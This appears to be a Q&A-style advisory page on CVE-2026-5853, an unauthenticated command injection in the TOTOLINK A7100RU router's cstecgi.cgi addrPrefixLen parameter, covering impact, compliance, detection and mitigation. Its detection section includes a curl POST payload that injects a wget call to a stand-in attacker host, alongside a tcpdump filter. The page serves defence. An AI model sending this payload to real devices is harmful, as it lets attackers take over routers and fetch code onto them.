How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability allows remote attackers to execute arbitrary operating system commands on the affected TOTOLINK A7100RU router due to improper input handling in the cstecgi.cgi script.

Such a security flaw could lead to unauthorized access, data breaches, or manipulation of network traffic, which may result in non-compliance with common standards and regulations like GDPR or HIPAA that require protection of personal and sensitive data.

However, the provided information does not explicitly describe the direct impact on compliance with these standards.

Useful 0 Not Useful 0

Can you explain this vulnerability to me?

CVE-2026-5853 is a command injection vulnerability in the TOTOLINK A7100RU router, specifically in version 7.4cu.2313_b20191024. It exists in the CGI script cstecgi.cgi within the function that handles the addrPrefixLen parameter.

The vulnerability occurs because the addrPrefixLen parameter is concatenated and formatted into a command buffer that is then executed by the router's operating system without proper sanitization. This allows an attacker to inject arbitrary OS commands.

An attacker can exploit this by sending a crafted HTTP POST request containing a malicious addrPrefixLen value, which results in the router executing the injected command remotely.

Useful 0 Not Useful 0

How can this vulnerability impact me? :

This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without any authentication.

• Attackers can take full control of the router, potentially altering its configuration or using it as a foothold to attack other devices on the network.
• It can lead to unauthorized access, data interception, or disruption of network services.
• The exploit is publicly disclosed and easy to perform, increasing the risk of widespread attacks.

Useful 0 Not Useful 0

How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by monitoring for suspicious HTTP POST requests sent to the /cgi-bin/cstecgi.cgi endpoint containing the addrPrefixLen parameter with unusual or command-like values.

A practical detection method is to capture and inspect network traffic for POST requests with JSON payloads targeting /cgi-bin/cstecgi.cgi that include the addrPrefixLen parameter.

For example, using tcpdump or tshark to filter HTTP POST requests to the vulnerable endpoint:

• tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep '/cgi-bin/cstecgi.cgi'

Alternatively, using curl or similar tools to test if the device is vulnerable by sending a crafted POST request with a command injection payload in addrPrefixLen, for example:

• curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d '{"addrPrefixLen":";wget http://attacker_ip/testpoc;"}' -H 'Content-Type: application/json'

Successful execution of such commands indicates the presence of the vulnerability.

Useful 0 Not Useful 0

What immediate steps should I take to mitigate this vulnerability?

Immediate mitigation steps include restricting access to the vulnerable /cgi-bin/cstecgi.cgi endpoint to trusted networks only, such as by firewall rules or network segmentation.

Disabling remote management or remote access to the router's CGI interface can reduce exposure.

Monitoring and blocking suspicious HTTP POST requests containing the addrPrefixLen parameter with unusual values can help prevent exploitation.

If available, applying firmware updates or patches from the vendor that address this vulnerability is strongly recommended.

Useful 0 Not Useful 0